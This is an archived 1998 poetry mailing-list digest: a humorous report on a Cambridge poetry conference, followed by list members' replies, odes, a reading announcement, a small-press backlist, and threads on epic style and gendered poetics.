During the milling bit after the reading a Harvard Lit Comp prof. approached me with the usual chat and asked for poems. No problem. Then she explains, as she hands me her business card, that she is waiting for her mother to die ("she will not, eternally, ever give in. She refuses to die!") so she can take her inheritance and publish poetry. (And people probably think I am sour for the little poem about "milling poets" but I am sure you each have your own stories to tell.) Having nothing to answer this strange remark I stand smiling, nodding, scanning the room with my eyes. Peter Ganick tells me he loved my line about "the way cowboys dress." (Should I tell him? Should I tell him?) I tell him that line was actually Drew Gardner's line which causes him a visceral spasm of embarrassment. (It had to be done.)

On the walk to the car Prageeta and Maggie discuss lesbian dress protocol which has an emphasis on practicality. As I never dress with an objective other than practicality (i.e., comfort) I one-up them on the entire aesthetic by adding, "besides I don't give a fuck what I look like" wearing green shorts, a black T-shirt (both of which are drenched), old running sneakers and ankle-high socks. This boldness earns me the epithet of "Dan: the Complete Lesbian" which I revel in for a night.

Meanwhile, my friend Sven from Cambridge (a Spenser scholar) and Douglas grab a ride with Richard. Richard is filming the entire conference for some reason. In the car Sven notices a hat from Washington & Lee—-a college in Virginia renowned for old-boy fraternities and inbred aristocracy. The hat produces apprehension in Sven, and he hopes it does not come up in conversation.

But Douglas has already picked up on its motto (which I disremember) and inquires of it of Richard. As it turns out, Richard and Sven both "spent time" there, and may likely be (despite their generation differences) the only two alums never to have belonged to a fraternity. They discuss later, at Michael Franco’s, a shared hate for a certain Milton professor.

The party is fine. We get home ok in the crowded car, with Douglas in the trunk. I give Maggie and Prageeta directions to the Mass Pike, but Dave Kirschenbaum prefers not to make the short walk from the bridge, so Maggie and Prageeta end up getting lost for many hours. We don’t see them again till well into the next day.

In the morning I make juice for everyone (oranges and grapes, straight up—-very rich), and we arrive during the panel almost on time. I cannot process anything being said so I try to focus by making sketches of the panelists. I gauge my success by showing the caricatures to Isabel Franco (sitting next to me) as I go. I am feeling better when manna from heaven drops into my lap in the form of a scone, placed with a "whump" from behind me by Douglas.

Some things I remember: Joseph Lease’s metaphor about how the Cold War was two dogs facing each other, and the Post-Cold War a single dog in which we are all micro-organisms. This guy can think on his feet I think. But he dilutes this perception by announcing that he had thought of it earlier and even collaborated on it by phone with Jordan Davis. Still, he’s saying intelligent things, as are all the panelists.

Despite a dangerous level of exhaustion I enjoy the afternoon readings. Gerrit Lansing is fantastic. He is my new model for reading. Beth is great, as is Andrea; the two reminding me of each other in their delivery: low, even tone of long (or long-ish) lines. Joe Torra is high-energy. Zhang Er is good, and Caroline Knox is funny.

>From the bio panel I mostly take comfort in Kristen’s presentation that Helen Adam worked a dull job in which she was able to get a lot done during down time. I decide I like Helen Adam a lot and will seek out her work. I get this also from Lyman Gilmore’s presentation on Joel Oppenheimer, whom I have not read much of. Then I take off to a bar with Patrick Doud to cool off with a margarita, which is refreshing for about fifteen minutes, but I nearly pass out later during the evening readings. In fact I was probably saved from doing so by Lisa Jarnot’s and Lewis Warsh’s reading. Warsh’s "Secret Police" had me stitches; Lisa’s chinchilla and other animal poems had me in a pleasant catatonic state. Kristin Prevallet’s footnote poem also created this effect. Untitled, I suggested to her: "A poem of not-so-useful information."

Another party at Michael and Isabel’s Saturday night. I crash for an hour in an empty room, waking up glad to find the Buffalo/Toronto guys had not drawn on my forehead, and also finding Christian crashed (vampire-like: body straight, arms folded in X on chest) on the floor across the room.

Outside there is literary chat. And Dave Kirschenbaum putting together his instant ‘zine on a laptop in a cloud of mosquitoes by the porch light. The literary chat gets controversial: Douglas argues with Alan about Paradise Lost. Alan, in a manner reminiscent of Steve Evans, sits calmly and accepts Douglas’ points and then evenly returns his own. The crux: what line does Milton’s epic hinge on & is Satan a hero? Alan is firm: better to reign in hell than serve in heaven. Douglas does not accept. It goes back and forth, bringing Dante, Chaucer, and Chomsky (a la Drew and Bill Howe) marginally into the picture. Hanging back I suggest "to justify God’s ways to man" which Andrea seconds. (As I was not centrally involved in this argument, I’ll cease its narrative here.)

Because I am the only one not to have had a drink all night, I drive the car home. It’s tight and we gather Will Alexander and Aaron from the driveway top where they had been waiting for a cab. Douglas gets into the trunk again, Aaron sits on Dave in the passenger seat and away we go. Another thing learned from the weekend: an overcrowded car with the conference organizer’s head protruding from an open window does not sit well with Arlington police. As I pull over with the blue lights and siren screaming behind us, Aaron queries (from outside the car) "why are we pulling over here? Who are we dropping off here?"

It was difficult to ascertain whether the cops were poetry fans. I mean, I could have said "it’s cool, officer, we have Will Alexander in the car" but I’m not sure how that would have played out.

So, as the cops approached, one on each side, I announce sternly to the excited passengers: "everyone shut the fuck up." One cop asks me if I am aware how many seat belt laws I am breaking. One per person except me I think to myself but say nothing. I give him my license. Hess fumbles (unsuccessfully) for his Missouri registration. The officers (one male, one female) note aloud how dangerous our driving situation is, and then huddle up back at the cruiser to ensure our Dodge Shadow is not stolen. As they confer in swirling blue lights, Aaron announces that he and Will can walk from that point and he wishes us well. I tell Aaron that it’s probably not advisable to walk away from the scene at that particular moment.

To be short, the cops let us off without even requesting an intimate acquaintance with my breath. We leave two by the road while we drop off another two and return for the other two shortly. As I was handed back my license it didn’t even occur to me that the law officers will forever remain unaware of Douglas Rothschild, now grown very quiet, cooped up in the hatch-back trunk. Later,

Douglas noted that the incident constituted a good adventure, and it would make Bill Luoma proud.

On Sunday I outted SubPress in the publishing panel. Preceding this debut were fine presentations by Kirschenbaum (the traveling/instant magazine), Douglas Messerli (brief history of Sun&Moon), Peter Ganick (brief history of Potes&Poets), Chris Funkhouser (on Internet publishing and E-things in general), and Joe Torra (on his magazine "lift").

I began by showing off books received thru the "Self-Publish or Perish" initiative, and note how the project grew out of a community; how it all was (my involvement anyway) an extension of MASS AVE., which grew out of a sense of community that began at the Fitterman Poetry Talks in 1996, the Buffalo Poetics list, and then the Subpoetics list (at which point I thumbnail for people what a listserv is). RESULTS: A lot of people want to inspect the SelfPub books after the panel. A lot of people want to know how to get onto the "Buffalo list thing," and many more people want to know where to send money for the "SubPress" thing. I take their addresses instead.

Someone (Maria Damon?) tells me her initial thoughts of what the publishing panel would consist of was "how to get published." It was not so. It was more a testimony of doing things oneself, how to seek out or define your community thru print and initiative (as Torra’s presentation manifested, and Michael Franco—-contrib editor to lift—-supported with comments in the audience). I was happy with it.

There were many great readings Sunday: Rosmarie Waldrop, Joseph Lease, Patrick Doud, Charles Bernstein, Damon Krukowski, Peter Ganick and others; some of which I caught portions of, or missed due to extreme unction, I mean extreme exhaustion.

The weekend ended for me in a seafood restaurant near my house with Beth, Maggie, Drew and Douglas. I had the fish and chips.

After they left for the bus, I went back to the reading and then to the party where I talked with Cambridge poet Jim Dunn (who traded my cop/poetry story with his own, in which a Boston bike cop runs into his car while he is driving John Wieners to the supermarket; "oh christ!" John exclaims) and Heater Scott Peterson (a painter, poet, bookbinder, and ex-student of Ange Mlinko's).

Other participants or attendees are encouraged/requested to fill in gaps or post their own narratives and perceptions to supplement this woeful inadequacy.

daniel bouchard

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard

The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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572. **Christopher W. Alexander**
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Thanks for the extensive report, Dan. I can see
Cambridge has gotten a lot more fun since I left
(please - no causal relationship implied). I've
been told by two people so far that I was/wld
be there, but really I wasn't, or only 'in spiritus'
(i.e., that was my heavy breathing in the back).

thanks, too, for this lovely addendum to Drew's line:
> "I can tell by the way you dress that you’re a cowboy." (Roughly.)

c h r i s

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Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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573. **Simon DeDeo**
Subject & Technique
Tue 21 Jul 1998

Henry wrote --
> In my view the subject & the technique can't be separated, and
> a really innovative writing today might implement the "ars est celare artem"
> or"art is to hide art" approach: developing a "modest" style which fore-grounds
> the real history or real story.

I would say we both agree; I had in mind poets who consider themselves innovative simply because their subject matter is "new". Pound's "make it new" is eternally valid, but it doesn't stop at changing the stars into quasars. The stylistic innovation is more often than not the more original and difficult; most "subjects" have already been done before, and it's unfortunately true that whenever a new subject is broached -- child abuse, the information revolution -- most of what is written is in the dull and repetitive modes of older forms, or in poorly thought out and self-conscious "innovations".

It's true that the subject and technique cannot be separated, but that requires a more complex concept of "subject" that I don't think you're including here. There have been countless poems on war, and I don't think anyone can find a common theme in technique between them.

I'm interested in your concept of a "modest" style. What does that mean? Imagism has always seemed "modest" to me, with the way it foregrounds the words themselves as opposed to the poet's construction of them, but one could easily take any set of poets, with radically different styles, and call them modest. Shakespeare, modest? Auden? Yeats? Plath? What would you consider a "modest" style? Or, better, in which direction from the writers you consider most fruitful does a "modest" style lie? (The excessive quotes are not sarcasm, just my own confusion.) And, just to finish the paragraph, what do you consider the "real" story? Do you mean to exclude all poetry with ambiguity or mulitple narratives, because they deny the reader access to a solid and "real" substrate?

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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574. **Henry**

Re: Subject & Technique

Tue 21 Jul 1998

Simon, I've yammered at some of these issues before on the list, so apologies if I repeat myself. By "subject" I guess I mean "content" in general, not simply a general topic or theme (war, etc.). These themes or topics are always around, but if we're talking about a "modest" style in relation to something like epic, for example, then the "war" would have to be complexified in its specific historical circumstances.

What I'm getting at is, to extend some of the insights of the Walker book: Ezra Pound was mightily successful within the parameters of a sublime rhetoric, in which the poet by disrupting rational thought & speech, creates a voice of authority; what Walker argues is that writing in this tradition is not the ONLY possible approach to epic or historical materials.

But we have an alternative tradition which not only builds on this rhetoric but follows the Whitman-Pound "stance" as a whole : capitalistic democracy is condemned in favor of a visionary alternative which is not exactly spelled out (it can't be : this would contradict the rhetoric of the sublime) but which underwrites every mannerism of disrupted syntax and justifies it as "alternative".

A modest style in my book would foreground neither the stance of the poet nor the sublimity of the discourse; the sublime is most sublime as an occasional intrusion. It would not be disruptive for disruption's sake or dissonant for dissonance's sake; it would develop from communicability toward complexity. It would foreground "what happened": clarity does not necessarily rule out ambiguity or even undecidability (while obscurity sometimes rules out both).

Now I'm not in favor of capitalistic status quo, but I am in favor of democracy (I think capitalism/socialism is a fading dialectic). And I'm not in favor of technorationalism, but I'm against a bardic authoritarianism posed as its alternative.

And I'm not promoting "modesty" as a mold for all kinds of poetry! Just as a different way of thinking about "innovative" writing, especially in an "epic" frame of mind.

- Henry G.

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575. **Simon DeDeo**

Occult Epics

Tue 21 Jul 1998

Henry -- thanks also for the reference to the Walker book. For many poets who attempt to write an "epic", the aristocratic model presents itself, and Walker's analysis of the Whitman attitude towards America seems dead on -- the endless catalogues always seemed to me to have somewhat a posessive attitude, an image of control or at least omnisence; a "true" democratic poet would perhaps have to realize a speaker that could not transcend space in the most literal sense -- I think of Gary Snyder here, with his endless preoccuption with the mechanics of being.

There's been chatter on EPOUND-L about Pound and the Occult; a question I brought up in reference to Old English translations of the bible -- questions of preserving the numerological significance of the text in translation. Pound

himself, when constructing the Cantos, was quite preoccupied with the occult -- as separate from questions of religion and spirituality; I wonder if you can detect the "aristocracy" of Pound's style in his mage-like adoption of occult principles. If anybody's interested in the references to Pound's occultism, backchannel; Michael Coyle at Colgate dropped a good list of texts on the subject.

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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576. **groberts**
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Ode to Bill Howe's Bowling Ball

O Magic Black Diamond Orb of Eight-to-the-nth-power facets, Tell me who was it that stepped on a dog's turn and unstepped it just as matter-of-factly and walked onward kicking down the alley a rock in the shape of the spherical carved heart of a decapitated electric typewriter, headed for France or Brazil or France, back and forth, this way and that, keeping score with secret numbers in order to record each strike while leaving every frame open? Who was that sunglassed Sisyphus?

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577. **Linda Russo**
Re: Guest (for Notley)
Tue 21 Jul 1998

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alan esp., please notice i asked "CAN anyone tell me what this ["my" dream] means" of course it just "is" but I just thought it was neat, the experience was neat. That it didn't particularly resonate with meaning to me is interesting (I have no particular engagement with Guest or with theatre -- except as icons both)

One day after having a great dream i wrote & re-wrote it to myself, mentally, just to play with the language and connections the dream presented me with. I didn't write it down -- I was walking. I think of it (the mental exercise of moving around the language and images of the dream) as writing, though some would argue it's not writing because I didn't inscribe it & it hasn't been activated by

an audience as writing. Maybe the dream was "writing" that I was the "audience" for.

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578. **Linda Russo**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

---

you (simon) sort of hit on my point exactly --
when you say

> *-- looking at, say, the Modernists,*
> *there are far more differences between poets*
> *than there are between genders; sort of like S.Gould's*
> *point that there is far more variation within a*
> *race than across racial boundaries.*

there are tons of variations (back to mark presjnar's comment on "how" we look at something). But gender as a sort of node has received focus only in terms of women writers, who, perhaps because they throw tradition in relief, point out the "masculine" nature, of say lyric, which objectifies the other and unifies the "I". As these are problems many (esp. lang & post lang) poets deal with, why is it mostly women who explore a GENDERED relation to tradition?

I'm not trying to be reductive about gender. the way we use it to describe power relationships is problematic (male-active/female-passive) WHILE continuing to link it to biological sex -- as in the case of the term "Women Poets" (which often prompts cliched responses such as "it's women's voice-oriented)

Being an innovative (woman) writer necessitates an active scrutiny of literary history. Why is it that innovative men aren't also viewed as exploring a gendered relation to traditional modes of poetic utterance? Is it just another instance of the masculine stance being universal and the woman's other?

For so long poetry was formal & Dorothy Wordsworth didn't write "poetry" -- now journaling has been "legitimized" as a poetic form (cf. Mayer's _Midwinter Day_ for example, and Hannah Weiner) -- But I don't think these innovations are peculiar to women, yet they are couched so, because they are couched as a gendered relation to tradition (though this may be a problem of feminist scholarship)

We all have a gendered relation to everything -- and that's such a large statement, as gender is so complex. And I don't mean gender as biological sex merely, but as a cluster of attributes that constitute our understanding of culture and literary history.

> *we can all (?) agree on, up to the Foucalt limit.*
> *To call celan's language "feminized" sounds strangely*
> *quaint, a little like calling a particular philosophy*
> *"womanish". I saw a book once called "Nietzsche for Women".*

My point exactly -- why link "feminine" with womanish? You're making a biological and not a gendered connection. (As for the title, it's just dumb -- I'm tired of the notion that there is certain sort of information that women must know (to defend themselves?) MIght the same information not be imperative for men as well?). I'm maddened that it persists to be true (i need to know how not to get raped, for example -- but this of course has to do with the larger problems of living in a violent culture)

> *But maybe Foucalt has a point here -- if what we*
> *consider "rock solid" notions of gender are seen,*
> *by an examiniation of the points of rupture, to arise*
> *less from any potentially objective criteria, but instead*
> *from threads of discourse, where does that take us?*

Then all innovation is, in relation to the "dominant" tradition, "feminine" and it has nothing to do with gender. Not a bad place to start rethinking what it means to be feminine. Or to start throwing out those terms "masculine" and "feminine" because they're obviously too laden with biological markers (Masculine = hairy armpits are ok)

> I guess I don't quite understand how you take
> gender to be in some way _material_ without returning
> to the reception of woman in society.
I meant that only in response to your comment that it was "immaterial" -- whatever you meant by that

> *Your point*
> *seems very interesting, however -- I like the way*
> *Waldrop problematizes the whole issue by bringing*
> *up the political implications of a formal stance*
> *("old school feminism"?) and then retracts them*
> *from discussion by noting that she was working on*
> *"a formal problem". At the risk of breaking Adorno's*
> *dictum and paraphrasing a philosophical stance,*
> *is Waldorf coming out and saying that certain formal*
> *modes where, for e.g., "subject and object function*
> *are not fixed", are essentially gendered?*

Only inasmuch as WE gender them, in assigning them positions in a power relationship. She says elsewhere that language is ungendered.

> *That there*
> *is some occult connection between the female body*
> *and language?*

of course not, except when words (usually the title of some pop pscyhology book likw "women who love too much") fall out of my vagina. (Kathy Acker and Dodie Bellamy gave me the balls to say that) (That was for all of you who're sticking it out through this post)

> *How can a feminist poetics, as you say, be potentially "unconcerned" with gender? Isn't gender the sine qua non? Or is it just the starting point? From there, to where does it go?*

Yes, in 500 words or less please.

> *There is a danger, of course, that "postfeminism" might end up looking like New Criticism -- an analysis of formal structures within a "self contained and democratic whole".*

I doubt it. anyway I'll let you know when I get there, or when I get there I'll let you know . . .

yrs in words,

lvr

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579. Elizabeth Treadwell
Jen Hofer/Lori Lubeski reading in San Fran
Tue 21 Jul 1998

If you're in the Bay Area check out Jen Hofer and Lori Lubeski reading at 5:30 saturday july 25 at the attic, 3336 24th @ mission, san fran. right across from the mission st BART sta. cocktails & coketails!!

See you there!

-Elizabeth

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Berkeley, California 94709
U.S.A.
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580. **Linda Russo**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

On Tue, 21 Jul 1998, toddbaron wrote:

> *Is there a "masculine" form? The Epic?*

Notley would argue that (pretty much) all forms" are masculine. She addresses this in "Epic and Women Poets" (paraphrase) in one of the Naropa Disembodied Poetics anthologies (the recent one) and in her piece excerpted in MOVING BORDERS she talks about the difficulty of writing about VietNam -- for the same reasons -- they are/were "man made" events, epic being a man made record of man's conquests etc. the world (literally -- architects, civil planners, financiers etc.) is man-made.

Kathleen Fraser's lines "otherwise the world is simply that which has been described for you" always resonate for me. Notley takes on the same problem -- how to be a woman -- to be HERSELF -- and write poems? Her writing is a record/response to that struggle.

The problem with saying that all forms are masculine, or describing certain shapes as gendered (venus of willendorf vs. the twin towers (double your power)though the latter is a reconstruction of matriarchy whereas we KNOW that skyscrapers are patriarchal temples) is that there is no point of entry. We can only "imagine" (John & Yoko?) what a more equitable world (or poetry) would look like. Hence innovative poetry.

yrs in words
lvr

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581. **henry g**
Re: post-Fem/For you Guys too
Tue 21 Jul 1998

Linda, Poetry has often been metaphorized as weaving. Does weaving create masculine forms? I understand you were not simply assenting to the idea that "all forms are masculine".

- Henry G.

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582. Christopher W. Alexander

Re: post-Fem/For you Guys too

Tue 21 Jul 1998

Mark P. sez:
> I believe there *are* responses to gender oppression and disequalibrium,
> in some high-profile male poets.

very much agreed, and thx Mark for the interesting read of Andrews and Bernstein. I'd also add Silliman to that list (and others...) -- thinking, e.g., of sentences in XING that are insistent in their representation of male-ness/masculinity as culturally and esp. (hetero)sexually dominant (oppressive/coercive) -- which makes, for me as a male reader, for an uncomfortable or even humiliating situation. Want to say more about the book (and not leave my remarks so one-dimensional), but it's been over year since last I read it -- quotations are not forthcoming. ("shldn't have drank all that cough syrup this morning").

I think the problem Linda is addressing here-- and one which Rachel Daley and I tried severally to address not long ago (myself with agonized clumsiness, I'm sorry to say) -- is not so much whether the 'gender issue' affects writers of all genders (it does), but a problem of ghettoization, in this case specifically that the critical treatment of gender in writing too often leans toward making it a 'women's issue', and vice versa -- the insane assumption that all women's writing necessarily has to address the reader beginning with "I, woman, say..." or be otherwise dictated by biology. LR:

> *I don't have a problem with women being "under-represented" (that makes me a post-feminist) [...] But I wonder why the problematic way that "tradition" has treated/"constructed" gender is presently a "woman's problem."*

Oops, now she's pre-empted me with another post, and I have to get to a meeting. damn this 'real-time' stuff!

chris

p.s. Simon -- 'postfeminist' = return to New Crit. seems a bit baroque, really. It's not as if the poem has been evaculated of it's historical context (which, anyway, is a caricature of New Crit) --

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

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583. **groberts**
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Ode to BOOG

From the imitation-vanilla sky of your jiffy sidereal homeland,
the star-cats keep watch over the mushroom caps,
while across the stapled centerfold of the 8.5 x 11 night
the Comet of Belle-Doom streaks on the hauser of my arm,
taut and slack, slack and taut,
toward the rolling letters.

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584. **Steven Marks**
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

It was hot! And anywhere from 40 to 80 people in a room that was about 15x35 with two ceiling fans and two low-BTU ACs doing their best and probably enough or else we would have all melted into a pool of poetics on the floor. and there were highlights (not to speak of the lights over the stage with the funky orange gels) and for me it was first among equals with Will Alexander whose name I had seen here and there and before but not the poems and his presentation in which he directed thoughts and phrases out of his head into the air and from the air into his head with his index finger. it was digital one moment, analog the next. and then Sunday a.m.'s panel, "New Poetry," orgainzed by Michael Basinski around and about and between visual, aural, fusion, performance poetics and beyond. This is where the bowling ball was which I missed in process but saw the product upon the floor being cut off the roll of white paper and its skid marks and runes by Bill Howe with a box cutter it seemed like the ones used in grocery stores, all to make way for the afternoon reading which was slipping into the present as the panel edged up to the limit of its future. it was close. Douglas Messerli, Rosmarie Waldrop, Patrick Doud, Michael Franco and I introduced myself to Maria Damon up from Woods Hole. but that was now and there was still then: Christian Bok and his sound poems one of which was called "Ubu Hubbub" I think and it was syllables and sounds and Bill Clinton and maybe even Jimmy Carter's malaise upon the land. and then there was Bob Grumman, oh Bob Grumman, is there anybody with a better map up by bus 26 hours from Florida and sleeping on comfortable couches from what I heard there in Cambridge, not Beantown. mathemaku: now I know why I took 2nd semester calculus and why if I wuzn't infected by these poems, I might have been a mathematician and then again maybe not but no need now because the

asymptotes and delta neighborhoods, and primes and theory, number theory, are there are there. Darren Wershler-Henry (I'm pretty sure it was him) did a poem in Klingon. Wendy Kramer and Ellay Phillips eyedeared their way around a 3-D collage, reading words and pictures and weaving and dancing. Oh, and Michael Basinski and his daughter Natalie rendered words and pictures and sounds and definitions (this was the place of mushrooms, shrooms) in their amuletic poem because it releases. It's Tuesday afternoon. I just came home from a swim at the beach. I'm still hot.

best and best,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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585. Elizabeth Treadwell

postwomen+ (or is not equal to) speculative equations

Tue 21 Jul 1998

First I'd like to say, since I bemoaned the review in the NYer, that the summer issue of Bookforum contains a much more interesting review of the new Lib of Cong Stein anthologies.

Linda, SImon, et al--I will now throw in 2 more cents.

Is there a possibility of an ungendered poetics, even if it is something its possible to work toward or to see others as working toward? I mean if you're looking in terms of gender, won't you see gender?

I wonder what postfeminism really is -- is it an apology I wonder sometimes (tho I do write for a site called 'the Postfeminist Playground' - which this month contains an article by DOdie Bellamy(www.pfplayground.com)) I think PLAY is key to this -- perhaps we are now more free to PLAY -- to speculate, to speculate on speculations,...- than in the 50s or the Victorian era or whenever, with GENDER AS AN IDEA, construction, etc.....The motifs of our clothing. Maybe we are just now more able to have FUN (or if you prefer: imagination). I don't mean this dumbly, I mean not having to spend so much energy "to not be swept up and violated, (& also) to avoid generating counterviolence as its tool of self-being".

I do CLAIM writing as a woman, writing as a "girl", writing about that, engaging in that. Proud of that, then bored by it, etc. Its constantly ENACTED isnt it, along with ten dozen (or a few) other Big Things.... I like it, writing as a

WOMAN, thnking about Women. However I of course don't want to be 'marginalized' either, or not taken seriously, or taken seriously in only one way. (But of course it happens...to everyone) misreading is so key aint it intriguin/

I do like Linda read many more women than men.

Why? I think my next point might speak to it at least in some way.

Linda wrote:
>> And another question:
>> How can forms be "masculine" when, though, they were
>> "created" by men, they were done (usually) intensely in relation to
>> "woman" (no matter how facile and passive his construction of her?)

Simon wrote:
>I think you've sort of answered your own question here;
>with a basic idea of how poets create -- through a combination
>of observation and language -- there seems to be no reason
>that the Poetics of the "male gaze" (yadda, yadda) would
>bear any relation to that that might be written by a woman.
>
>The question of moving the love poem away from "constructions
>of the self" is another part of this; it's not what you see,
>it's how. One doesn't expect an 18th gynecologist and a 20th
>century midwife to concur in their visions of a woman; the
>difference would arise from the point of view of a third person.
>"Gynceological", "Masculine", is how we label them.

Here I can't agree. I think the "Poetics of a male gaze" does bear relation to that that might be written by a woman. Here and now. From childhood, books with first person male narrators, looking at movies, whatever: the woman not only sees 'herself' ('itself') *in* 'the male gaze', but *sees as* the male gaze, or self-gaze, or whatever. It's like the beginning of "The Bluest Eye".

& of course there are responses to gender oppression and disequilibrium in the work of some high profile male poets, as someone wrote, this strikes me as having gone on since the beginning of time. whether they were aware of it in our current jargon or not, and no matter what kind of personality or politic or wife-treatment they lived in. isn't even creating something in a way responding to it? I think so.

> *Waldrop problematizes the whole issue by bringing up the political implications of a formal stance ("old school feminism"?) and then retracts them from discussion by noting that she was working on "a formal problem". At the risk of breaking Adorno's dictum and paraphrasing a philosophical stance,*

> *is Waldorf coming out and saying that certain formal modes where, for e.g., "subject and object function are not fixed", are essentially gendered? That there is some occult connection between the female body and language? How can a feminist poetics, as you say, be potentially "unconcerned" with gender? Isn't gender the sine qua non? Or is it just the starting point? From there, to where does it go?*

as perhaps one of the "theoretically apathetic" I would like to note that in the quote from Waldrop, she first states "I was interested in extending the boundaries of the sentence" then says "it comes out of my feminist preoccupation" [this quote is 20 yrs old] and then says this is all hindsight, "Consciously, I was working on a formal problem." So it seems to me that she was interested in form, whilst of course being aware of herself as a woman/feminist and *in the world as such*. I don't think gender is the starting point or the only point, i think she is merely using it as a way in to explain something, as TRACTION, and then of course there are all these other conscious and unconscious things, RETRACTION..... .....what if the male poets had to explain themselves in this type of terminology? Isn't your gender important to you, and then again hardly the only thing?

Best,
Elizabeth

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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586. louis stroffolino
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Hey, anybody who attended conference, wanna say anything about Caroline Knox's reading and/or talk? She's kinda the one person there I have NO SENSE about what she's doing, and am curious (also because I think she spoke of O'Hara, Ashes, etc.....). Thanks, chris stroffolino

On Tue, 21 Jul 1998, Steven Marks wrote:

> *It was hot! And anywhere from 40 to 80 people in a room that was about 15x35 with two ceiling fans and two low-BTU ACs doing their best and probably enough or else we would have all melted into a pool of poetics on*

the floor. and there were highlights (not to speak of the lights over the stage with the funky orange gels) and for me it was first among equals with Will Alexander whose name I had seen here and there and before but not the poems and his presentation in which he directed thoughts and phrases out of his head into the air and from the air into his head with his index finger. it was digital one moment, analog the next. and then Sunday a.m.'s panel, "New Poetry," orgainzed by Michael Basinski around and about and between visual, aural, fusion, performance poetics and beyond. This is where the bowling ball was which I missed in process but saw the product upon the floor being cut off the roll of white paper and its skid marks and runes by Bill Howe with a box cutter it seemed like the ones used in grocery stores, all to make way for the afternoon reading which was slipping into the present as the panel edged up to the limit of its future. it was close. Douglas Messerli, Rosmarie Waldrop, Patrick Doud, Michael Franco and I introduced myself to Maria Damon up from Woods Hole. but that was now and there was still then: Christian Bok and his sound poems one of which was called "Ubu Hubbub" I think and it was syllables and sounds and Bill Clinton and maybe even Jimmy Carter's malaise upon the land. and then there was Bob Grumman, oh Bob Grumman, is there anybody with a better map up by bus 26 hours from Florida and sleeping on comfortable couches from what I heard there in Cambridge, not Beantown. mathemaku: now I know why I took 2nd semester calculus and why if I wuzn't infected by these poems, I might have been a mathematician and then again maybe not but no need now because the asymptotes and delta neighborhoods, and primes and theory, number theory, are there are there. Darren Wershler-Henry (I'm pretty sure it was him) did a poem in Klingon. Wendy Kramer and Ellay Phillips eyedeared their way around a 3-D collage, reading words and pictures and weaving and dancing. Oh, and Michael Basinski and his daughter Natalie rendered words and pictures and sounds and definitions (this was the place of mushrooms, shrooms) in their amuletic poem because it releases.
It's Tuesday afternoon. I just came home from a swim at the beach. I'm still hot.

best and best,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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587. Pritchett,Patrick
Re: Came to Cambridge: Not Bean-ville
Tue 21 Jul 1998

Great reports from Bahston, J. Kimball, Daniel Bouchard & Steven Marks! I hereby relinquish the tattered palm of hyperbole. Thanks.

Patrick Pritchett

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588. Michael Franco
dromenon / lift back-list
Tue 21 Jul 1998

---

lift backlist

lift announces a limited number of back issues of issue 10/ 11: the Stephen Jonas issue; as well as # 15/16 the William Corbett issue are available @ $12. each, post-paid.

lift 10&11 JONAS ISSUE. fall, 1992. Torra, editor. 132 pages; wrappers. with photo of Jonas by Petricone. Contains selections from Jonas' EXCERSISES FOR EAR; Orgasms & other work: Essays by Rattray, Killian, Spicer, Dunn, Dorra Fitzgerald, Torra, Wieners, Corman, de Gruttula, Lansing, Ellingham & Weston. Interview with Joe Dunn.

lift 15&16 WILLIAM CORBETT ISSUE. Fall, 1994. Torra, editor. 160 pages; wrappers. Cover photo by Dorfman: Interview w/ Corbett; 9 poems; Review of Vendler's Harvard Book of Contemporary American Poetry; Essays/poems/ art by Creeley, Auster, Kleinzhaler, Lawrence, Harwood, Yau, Meyer, Warsh, Palmer, F. Howe, Mayer, M. Gizzi, Barrett, Pruitt, Mazur, Pruitt, Gander, Mckim, Sawyer- Lauçanno, Franco et al: Art by: Guston, Watkins, Amenoff, Imber, M. Torra, Seidman, M. Mazur, et al.

lift chapbook series #'s 1-4

1. AT LAST ROUND UP: T.J.Anderson III. 1996. 29p. wrappers by Molly Torra.

2. the journals of the man who kept bees [from A BOOK OF MEASURE; Second Circumference (complete)]: 1996. 44 p. wrappers by Katha Seidman.

3. TIMESERVER: Nick Lawrence. 1996. 30p. Wrappers by Ben E. Watkins.

4. Immediate Orgy & Audit: Ange Mlinko. 1996. 26p. Wrappers by Molly Torra.

Individual titles 1,3,4: $8.00 #2 $8.50: all post-paid.

A limited number of complete sets are available on a first come- first served basis at $25.00 post paid.

Also available from dromenon press:

I have several copies of Joseph Torra's 16 Paintings: Edition was limited to 50 signed & numbered copies, hand-sewn in wrappers decorated by Molly Torra. 1992. 21 p. $10 post paid. checks to M. Franco/ dromenon press.

Copies & sets can be reserved via E-mail. Payment must be received with 7 days
of confirmation [E-mail] for copies to be held.

Checks for lift book to J. Torra/ lift.

All Checks & Mail Orders: c/o dromenon press
34 Jason St.
Arlington Ma. 02476-6409

E-mail [redacted]

all best

Michael Franco

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589. **R M Daley**
pen(is)essesss post-Fem/For you Guys too
Tue 21 Jul 1998

---

dickinson's hymnal (todd baron) are you penning HYMENAL stretched over all our noses - cf, Christo's hymen over the colorado basin -

